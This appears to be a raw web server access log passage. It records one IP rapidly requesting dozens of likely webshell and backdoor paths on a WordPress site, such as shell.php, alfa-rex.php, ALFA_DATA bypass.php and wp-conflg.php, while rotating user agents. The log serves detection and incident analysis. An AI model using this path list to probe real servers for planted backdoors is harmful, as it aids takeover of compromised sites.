45.137.126.96 - - [05/Feb/2026:07:03:20 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:03:20 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:21 +0300] "GET /.bod/.ll/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:21 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:03:21 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:22 +0300] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:22 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:22 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:03:23 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:03:23 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:23 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:24 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:24 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:24 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:25 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:03:25 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:25 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:26 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:03:26 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:26 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:27 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:27 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:03:28 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:03:28 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:03:28 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:29 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:03:29 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:03:29 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:30 +0300] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:03:30 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:03:30 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:31 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:03:31 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:31 +0300] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:32 +0300] "GET /admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:32 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:03:32 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:33 +0300] "GET /wp-admin/js/instaall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:03:33 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:33 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:34 +0300] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:03:34 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:34 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:03:35 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:03:35 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:03:36 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:36 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:03:36 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:37 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:03:37 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:37 +0300] "GET /wp-admin/css/colors/blue/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:38 +0300] "GET /wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:38 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:38 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:39 +0300] "GET /.well-known/wincust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:39 +0300] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:03:39 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:03:40 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:03:40 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:03:40 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:41 +0300] "GET /wp-content/themes/twentytwentyfour/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:41 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:03:41 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:42 +0300] "GET /fonts/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:42 +0300] "GET /ff2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:42 +0300] "GET /wp-includes/SimplePie/Exception-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:43 +0300] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:03:43 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:43 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:44 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:44 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:03:44 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:03:45 +0300] "GET /wp-content/uploads/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:45 +0300] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:03:45 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:46 +0300] "GET /js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:46 +0300] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:03:46 +0300] "GET /worm.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:47 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:47 +0300] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:47 +0300] "GET /.well-known/pki-validation/1.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:48 +0300] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:03:48 +0300] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:48 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:49 +0300] "GET /wp-admin/css/colors/sunrise/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:49 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:49 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:03:50 +0300] "GET /wp-content/themes/twentytwentyfour/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:50 +0300] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:50 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:03:51 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:51 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:51 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:52 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:52 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:52 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:53 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:53 +0300] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:53 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.96 - - [05/Feb/2026:07:03:54 +0300] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:54 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:54 +0300] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:55 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:55 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:03:55 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:56 +0300] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:56 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:56 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:57 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:57 +0300] "GET /wp-admin/network/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:57 +0300] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:03:58 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:03:58 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:59 +0300] "GET /css/slider.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:03:59 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - 